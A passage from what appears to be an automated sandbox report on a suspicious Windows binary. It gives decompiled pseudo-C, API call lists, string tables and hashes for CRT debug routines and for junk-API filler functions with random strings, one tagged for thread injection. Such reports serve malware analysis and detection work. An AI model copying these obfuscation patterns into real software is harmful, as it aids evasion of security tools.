									WriteFile( *(0x43eae0 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x43ead4 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x43ead4 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041A6E0(E0042A620(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x19f, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = E00426190(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042437F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E00422570(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041A6E0(E0042A620(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x116, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E00423B80(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x00423c7e
0x00423c8b
0x00423d38
0x00423d3e
0x00423d4f
0x00423d5a
0x00423d72
0x00423d79
0x00423d7e
0x00423d81
0x00423d8e
0x00423db2
0x00423db7
0x00423db7
0x00423dba
0x00423dbf
0x00423dc5
0x00423dce
0x00423e00
0x00423e05
0x00423e05
0x00423dce
0x00423e0c
0x00423e12
0x00423e20
0x00423e14
0x00423e14
0x00423e14
0x00423e4c
0x00423e5c
0x00423e61
0x00423e61
0x00423e96
0x00423e9b
0x00423ea2
0x00423ea4
0x00423eb1
0x00423ee3
0x00423ee8
0x00423ee8
0x00423f0b
0x00423f1b
0x00423f20
0x00423f20
0x00423f27
0x00424037
0x0042403c
0x00423f2d
0x00423f2d
0x00423f3e
0x00423f49
0x00423f55
0x00423f56
0x00423f59
0x00423f74
0x00423f79
0x00423f7c
0x00423f89
0x00423fad
0x00423fb2
0x00423fb2
0x00423fc0
0x00423fc9
0x00423ffb
0x00424000
0x00424000
0x00424003
0x0042403f
0x00424049
0x00424068
0x00424077
0x0042409e
0x004240a3
0x004240ad
0x004240df
0x004240e4
0x004240e4
0x004240ee
0x004240fd
0x00424107
0x00424113
0x00424118
0x0042411b
0x00424122
0x00424128
0x0042413f
0x00424148
0x00424164
0x0042416d
0x0042416f
0x00424174
0x00424139
0x00000000
0x00424139
0x00424176
0x00424186
0x00000000
0x00424186
0x00424197
0x00424207
0x00424207
0x0042420e
0x00000000
0x0042420e
0x00424199
0x0042419f
0x004241b6
0x004241bf
0x004241db
0x004241e4
0x004241e6
0x004241eb
0x004241b0
0x00000000
0x004241b0
0x004241ed
0x004241fd
0x00000000
0x004241fd
0x00000000
0x00424220
0x00424220
0x00424227
0x00424234
0x00424236
0x00424240
0x00424252
0x00424258
0x0042425d
0x0042425f
0x00424269
0x0042426f
0x0042426f
0x0042425d
0x0042427c
0x0042428f
0x004242ae
0x004242b3
0x004242c9
0x004242c9
0x004242dc
0x004242e5
0x004242e5
0x004242eb
0x004242f8
0x004242fa
0x00424305
0x00424338
0x0042433d
0x0042433d
0x00424350
0x0042435f
0x0042436b
0x0042436b
0x004242f8
0x0042427c
0x00424371
0x00424371
0x00424378
0x00424391
0x0042439a
0x004243a2
0x004243a3
0x004243a4
0x004243b2
0x004243b2
0x004240ee
0x00423cc2
0x00423ccf
0x00423cd9
0x00423ce6
0x00423cdb
0x00423cde
0x00423cde
0x00423cf0
0x00423cf7
0x00423d02
0x00423d0f
0x00423d1a
0x00423d20
0x00423d25
0x00000000

APIs

InterlockedIncrement.KERNEL32(0043EAD0), ref: 00423C83
__invoke_watson_if_error.LIBCMTD ref: 00423CC2
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 00423CCF
OutputDebugStringA.KERNEL32(00404A9C), ref: 00423CF7
OutputDebugStringA.KERNEL32(, Line ), ref: 00423D02
OutputDebugStringA.KERNEL32(?), ref: 00423D0F
OutputDebugStringA.KERNEL32(00404A90), ref: 00423D1A
_wcscat_s.LIBCMTD ref: 00423EDA

Part of subcall function 00429730: __invalid_parameter.LIBCMTD ref: 004297A2

__invoke_watson_if_error.LIBCMTD ref: 00423EE3

Part of subcall function 0041A6E0: __invoke_watson.LIBCMTD ref: 0041A701

_wcscat_s.LIBCMTD ref: 00423F12

Part of subcall function 00429730: _memset.LIBCMT ref: 0042980B
Part of subcall function 00429730: __invalid_parameter.LIBCMTD ref: 00429867

__invoke_watson_if_error.LIBCMTD ref: 00423F1B
__snwprintf_s.LIBCMTD ref: 00423F74

Part of subcall function 004268A0: __vsnprintf_s_l.LIBCMTD ref: 004268C2

__invoke_watson_if_oneof.LIBCMTD ref: 00423FAD
_wcscpy_s.LIBCMTD ref: 00423FF2
__invoke_watson_if_error.LIBCMTD ref: 00423FFB
__invoke_watson_if_oneof.LIBCMTD ref: 0042409E
_wcscpy_s.LIBCMTD ref: 004240D6
__invoke_watson_if_error.LIBCMTD ref: 004240DF
__itow_s.LIBCMTD ref: 00423CB9

Part of subcall function 0042A620: _xtow_s@20.LIBCMTD ref: 0042A64B

__strftime_l.LIBCMTD ref: 00423D79
__invoke_watson_if_oneof.LIBCMTD ref: 00423DB2
_wcscpy_s.LIBCMTD ref: 00423DF7
__invoke_watson_if_error.LIBCMTD ref: 00423E00
_wcscpy_s.LIBCMTD ref: 00423E53
__invoke_watson_if_error.LIBCMTD ref: 00423E5C
_wcscat_s.LIBCMTD ref: 00423E8D
__invoke_watson_if_error.LIBCMTD ref: 00423E96

Strings

_CrtDbgReport: String too long or Invalid characters in String, xrefs: 004240C5
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00423DE1
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 004240C0
%s(%d) : %s, xrefs: 00423F5E
_CrtDbgReport: String too long or IO Error, xrefs: 00423DE6, 00423FE1
strcat_s(szLineMessage, 4096, "\r"), xrefs: 00423EC4
strcat_s(szLineMessage, 4096, "\n"), xrefs: 00423EFC
(*_errno()), xrefs: 00423DA1, 00423F9C
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 00423E75
Assertion failed!, xrefs: 00423E20
Second Chance Assertion Failed: File , xrefs: 00423CCA
Assertion failed: , xrefs: 00423E14
<file unknown>, xrefs: 00423CE6
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 00423C98, 00423D97, 00423DD7, 00423E31, 00423E6B, 00423EBA, 00423EF2, 00423F92, 00423FD2, 00424084, 004240B6, 0042430E
, Line , xrefs: 00423CFD
_VCrtDbgReportA, xrefs: 00423C9D, 00423D9C, 00423DDC, 00423E36, 00423E70, 00423EBF, 00423EF7, 00423F97, 00423FD7, 00424089, 004240BB, 00424313
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 00423CA2, 00424318
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042408E
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00423FDC
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 00423E3B

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 2882126024-944732244
Opcode ID: 8bfb29ba867fa35c4eea2416e72bf65a5aa4f99aae5184d8cff20257f4bacc9f
Instruction ID: 9b1f188487bc918479a893a4d45063c759b7154dbe607de786f6527d9c74feb1
Opcode Fuzzy Hash: 8bfb29ba867fa35c4eea2416e72bf65a5aa4f99aae5184d8cff20257f4bacc9f
Instruction Fuzzy Hash: 0E02A2B0A40314ABDB20EF50EC4AFDF7374AB44706F5441AAF608762C1D7B89A94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004341BC, Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 87
threadfileinjectionCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E004341BC(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edx, intOrPtr* __edi) {
				void* _t38;

				asm("adc [eax], eax");
				 *__edi =  *__edi + __ecx;
				 *__edx =  *__edx + __ecx;
				GetExitCodeThread(??, ??);
				GetModuleHandleA("sezatacixololid");
				__imp__SetDllDirectoryA(0);
				__imp__SetFirmwareEnvironmentVariableA("Valepe", "Jasape jepuju weheji xolaxicusafoc", 0, 0);
				EnterCriticalSection(_t38 - 0x29d0);
				__imp__CreateJobObjectA(0, "miyupikovoyojigorovilalubopu");
				GetModuleFileNameA(0, _t38 - 0x2dd0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__GetVolumePathNamesForVolumeNameW(L"cunejefisoxuwiyasax", _t38 - 0x21b0, 0, _t38 - 0x19ac);
				CopyFileW(0, 0, 0);
				GetConsoleTitleW(_t38 - 0x29b8, 0);
				__imp__GetCalendarInfoA(0, 0, 0, "meromururifufuweped", 0, 0);
				_push(0);
				VerifyVersionInfoW(_t38 - 0x32f0, 0, 0);
				FindFirstChangeNotificationW(L"xafumolacisiyadekivelesuhigomu", 0, 0);
				InterlockedDecrement(_t38 - 0x21b4);
				SetEnvironmentVariableA("Jowuyasit pacivadayunufu nujekavunopa jafabidosupixe", "Lajohe duzu tuy hetodajepofo");
				MoveFileExA(_t38 - 0x19a8, 0, 0);
				TlsGetValue(0);
				SleepEx(0, 0);
				return 0;
			}

0x004341c2
0x004341c4
0x004341cc
0x004341cf
0x004341da
0x004341e2
0x004341f6
0x00434203
0x00434210
0x00434221
0x00434235
0x00434250
0x0043425c
0x0043426b
0x00434280
0x00434286
0x00434293
0x004342a2
0x004342af
0x004342bf
0x004342d0
0x004342d8
0x004342e2
0x004342ed

APIs

GetExitCodeThread.KERNEL32 ref: 004341CF
GetModuleHandleA.KERNEL32(sezatacixololid), ref: 004341DA
SetDllDirectoryA.KERNEL32 ref: 004341E2
SetFirmwareEnvironmentVariableA.KERNEL32(Valepe,Jasape jepuju weheji xolaxicusafoc,00000000,00000000), ref: 004341F6
EnterCriticalSection.KERNEL32(?), ref: 00434203
CreateJobObjectA.KERNEL32(00000000,miyupikovoyojigorovilalubopu), ref: 00434210
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00434221
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00434235
GetVolumePathNamesForVolumeNameW.KERNEL32(cunejefisoxuwiyasax,?,00000000,?), ref: 00434250
CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 0043425C
GetConsoleTitleW.KERNEL32(?,00000000), ref: 0043426B
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,meromururifufuweped,00000000,00000000), ref: 00434280
VerifyVersionInfoW.KERNEL32 ref: 00434293
FindFirstChangeNotificationW.KERNEL32(xafumolacisiyadekivelesuhigomu,00000000,00000000), ref: 004342A2
InterlockedDecrement.KERNEL32(?), ref: 004342AF
SetEnvironmentVariableA.KERNEL32(Jowuyasit pacivadayunufu nujekavunopa jafabidosupixe,Lajohe duzu tuy hetodajepofo), ref: 004342BF
MoveFileExA.KERNEL32(?,00000000,00000000), ref: 004342D0
TlsGetValue.KERNEL32(00000000), ref: 004342D8
SleepEx.KERNEL32(00000000,00000000), ref: 004342E2

Strings

sezatacixololid, xrefs: 004341D5
miyupikovoyojigorovilalubopu, xrefs: 00434209
Jowuyasit pacivadayunufu nujekavunopa jafabidosupixe, xrefs: 004342BA
xafumolacisiyadekivelesuhigomu, xrefs: 0043429D
cunejefisoxuwiyasax, xrefs: 0043424B
Jasape jepuju weheji xolaxicusafoc, xrefs: 004341EC
Valepe, xrefs: 004341F1
Lajohe duzu tuy hetodajepofo, xrefs: 004342B5
meromururifufuweped, xrefs: 00434275

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateEnvironmentInfoModuleNameThreadVariableVolume$CalendarChangeCodeConsoleCopyCriticalDecrementDirectoryEnterExitFindFirmwareFirstHandleInterlockedMoveNamesNotificationObjectPathRemoteSectionSleepTitleValueVerifyVersion
String ID: Jasape jepuju weheji xolaxicusafoc$Jowuyasit pacivadayunufu nujekavunopa jafabidosupixe$Lajohe duzu tuy hetodajepofo$Valepe$cunejefisoxuwiyasax$meromururifufuweped$miyupikovoyojigorovilalubopu$sezatacixololid$xafumolacisiyadekivelesuhigomu
API String ID: 3616908499-215811697
Opcode ID: 1b786135f677940fadffeff856d587cedd2fb99b39405150eead20f3296d6f71
Instruction ID: fd1c8a136eb18dfdf246a458294adf8bdc6dd9a2d4e6036a7c22dcd68b7c785c
Opcode Fuzzy Hash: 1b786135f677940fadffeff856d587cedd2fb99b39405150eead20f3296d6f71
Instruction Fuzzy Hash: 0331DD316C4345BBE7649BE09E4EFD97734AB08B02F1041A9F346B94E0DBB455848BAE

Uniqueness

Uniqueness Score: -1.00%

Function 004339B0, Relevance: 47.4, APIs: 17, Strings: 10, Instructions: 102
timepipeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E004339B0(void* __esi) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				char _v20;
				short _v22;
				short _v26;
				short _v30;
				short _v34;
				short _v36;
				struct _COMMTIMEOUTS _v56;
				struct _DCB _v84;
				char _v260;
				struct _OSVERSIONINFOEXW _v548;
				char _v2596;
				intOrPtr _t26;
				void* _t51;

				_t51 = __esi;
				if( *0x4c8abc == 0x37) {
					_v56.ReadTotalTimeoutMultiplier = 0;
					_v56.ReadTotalTimeoutConstant = 0;
					_v56.WriteTotalTimeoutMultiplier = 0;
					_v56.WriteTotalTimeoutConstant = 0;
					_v56.ReadIntervalTimeout = 0;
					BuildCommDCBAndTimeoutsA("weboz",  &_v84,  &_v56);
					GetNamedPipeHandleStateW(0, 0, 0, 0, 0, 0, 0);
					LocalLock(0);
					CompareStringA(0, 0, "wovudukulutezecamibajirixahodugenanekoy", 0, "gaxubukodakabetujexogasahowih", 0);
					SetProcessShutdownParameters(0, 0);
					_v20 = 0;
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_v36 = 0;
					_v34 = 0;
					_v30 = 0;
					_v26 = 0;
					_v22 = 0;
					__imp__TzSpecificLocalTimeToSystemTime( &_v260,  &_v20,  &_v36);
					SetLastError(0);
					__imp__GetCurrentConsoleFont(0, 0, 0);
					VerifyVersionInfoW( &_v548, 0, 0);
					TlsSetValue(0, 0);
					CopyFileExW(L"selumo", L"nedilahawaruhusasimilihisadipigabaguwuh", 0, 0, 0, 0);
					__imp__GetLongPathNameW(L"misufitixezehade",  &_v2596, 0, 0);
					SetCurrentDirectoryA("gutuhesedupadaduxefulajiceximiburuhi");
					__imp__SetVolumeMountPointW(L"noteleloyucuxahodurimibuciteguguwoducinobomivar", L"wesoxoninovilixufelofuweda");
					IsSystemResumeAutomatic();
					FreeEnvironmentStringsA(0);
					FindFirstChangeNotificationW(L"Yode pemile xofot luf dilutok", 0, 0);
				}
				_t26 =  *0x4c8ac0;
				 *((char*)( *0x4c50c8 + _t51)) =  *((intOrPtr*)(_t26 + _t51 + 0x12336));
				return _t26;
			}

0x004339b0
0x004339c0
0x004339c8
0x004339cb
0x004339ce
0x004339d1
0x004339e1
0x004339e8
0x004339fc
0x00433a04
0x00433a1c
0x00433a26
0x00433a33
0x00433a3b
0x00433a3e
0x00433a41
0x00433a44
0x00433a48
0x00433a4c
0x00433a4f
0x00433a52
0x00433a55
0x00433a61
0x00433a69
0x00433a75
0x00433a88
0x00433a92
0x00433aaa
0x00433abe
0x00433ac9
0x00433ad9
0x00433adf
0x00433ae7
0x00433af6
0x00433af6
0x00433afc
0x00433b0e
0x00433b14

APIs

BuildCommDCBAndTimeoutsA.KERNEL32 ref: 004339E8
GetNamedPipeHandleStateW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004339FC
LocalLock.KERNEL32(00000000), ref: 00433A04
CompareStringA.KERNEL32(00000000,00000000,wovudukulutezecamibajirixahodugenanekoy,00000000,gaxubukodakabetujexogasahowih,00000000), ref: 00433A1C
SetProcessShutdownParameters.KERNEL32(00000000,00000000), ref: 00433A26
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 00433A61
SetLastError.KERNEL32(00000000), ref: 00433A69
GetCurrentConsoleFont.KERNEL32(00000000,00000000,00000000), ref: 00433A75
VerifyVersionInfoW.KERNEL32 ref: 00433A88
TlsSetValue.KERNEL32(00000000,00000000), ref: 00433A92
CopyFileExW.KERNEL32(selumo,nedilahawaruhusasimilihisadipigabaguwuh,00000000,00000000,00000000,00000000), ref: 00433AAA
GetLongPathNameW.KERNEL32 ref: 00433ABE
SetCurrentDirectoryA.KERNEL32(gutuhesedupadaduxefulajiceximiburuhi), ref: 00433AC9
SetVolumeMountPointW.KERNEL32(noteleloyucuxahodurimibuciteguguwoducinobomivar,wesoxoninovilixufelofuweda), ref: 00433AD9
IsSystemResumeAutomatic.KERNEL32 ref: 00433ADF
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00433AE7
FindFirstChangeNotificationW.KERNEL32(Yode pemile xofot luf dilutok,00000000,00000000), ref: 00433AF6

Strings

weboz, xrefs: 004339DC
gutuhesedupadaduxefulajiceximiburuhi, xrefs: 00433AC4
noteleloyucuxahodurimibuciteguguwoducinobomivar, xrefs: 00433AD4
wesoxoninovilixufelofuweda, xrefs: 00433ACF
nedilahawaruhusasimilihisadipigabaguwuh, xrefs: 00433AA0
gaxubukodakabetujexogasahowih, xrefs: 00433A0C
selumo, xrefs: 00433AA5
wovudukulutezecamibajirixahodugenanekoy, xrefs: 00433A13
Yode pemile xofot luf dilutok, xrefs: 00433AF1
misufitixezehade, xrefs: 00433AB9

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentLocalSystemTime$AutomaticBuildChangeCommCompareConsoleCopyDirectoryEnvironmentErrorFileFindFirstFontFreeHandleInfoLastLockLongMountNameNamedNotificationParametersPathPipePointProcessResumeShutdownSpecificStateStringStringsTimeoutsValueVerifyVersionVolume
String ID: Yode pemile xofot luf dilutok$gaxubukodakabetujexogasahowih$gutuhesedupadaduxefulajiceximiburuhi$misufitixezehade$nedilahawaruhusasimilihisadipigabaguwuh$noteleloyucuxahodurimibuciteguguwoducinobomivar$selumo$weboz$wesoxoninovilixufelofuweda$wovudukulutezecamibajirixahodugenanekoy
API String ID: 49691926-3852754208
Opcode ID: 2daa080e37ae0ead654abd257d33f097910e8bd612f7bb2556ca13dbcc3ee9ab
Instruction ID: 424acbbd9e6af2a4fe4e32992373690728013f2655e9589386a43f3d85a87920
Opcode Fuzzy Hash: 2daa080e37ae0ead654abd257d33f097910e8bd612f7bb2556ca13dbcc3ee9ab
Instruction Fuzzy Hash: DE41D875A94304AFE7509FE4DD0AFDD7BB4BB08B01F10416AF609FA1E0D6B415448B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00430623, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00430623(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									__eflags = _t649;
									if(_t649 == 0) {
										__eflags =  *(_t701 - 0x10) & 0x00000020;
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											__eflags = _t651;
											if(_t651 == 0) {
												_t496 = E0042BCB0(_t701 + 0x14);
												_t704 = _t703 + 4;
												__eflags = 0;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E0042BCB0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											__eflags = _t698;
											if(_t698 == 0) {
												_t581 = E0042BCB0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E0042BCB0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E0042BCD0(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E0042BCD0(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											__eflags =  *(_t701 - 0x30) - 0x200;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00427060(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004270E0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										__eflags =  *(_t701 - 0x10) & 0x00000200;
										if(( *(_t701 - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(_t701 - 0x28);
												if( *(_t701 - 0x28) != 0) {
													goto L216;
												}
												L191:
												__eflags =  *(_t701 - 0x10) & 0x00000040;
												if(( *(_t701 - 0x10) & 0x00000040) != 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000100;
													if(( *(_t701 - 0x10) & 0x00000100) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000001;
														if(( *(_t701 - 0x10) & 0x00000001) == 0) {
															__eflags =  *(_t701 - 0x10) & 0x00000002;
															if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																 *((char*)(_t701 - 0x14)) = 0x20;
																 *(_t701 - 0x1c) = 1;
															}
														} else {
															 *((char*)(_t701 - 0x14)) = 0x2b;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2d;
														 *(_t701 - 0x1c) = 1;
													}
												}
												 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
												__eflags =  *(_t701 - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													E00430DC0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t704 = _t704 + 0x10;
												}
												E00430E00( *(_t701 - 0x1c), __eflags, _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t704 = _t704 + 0x10;
												__eflags =  *(_t701 - 0x10) & 0x00000008;
												if(( *(_t701 - 0x10) & 0x00000008) != 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) == 0) {
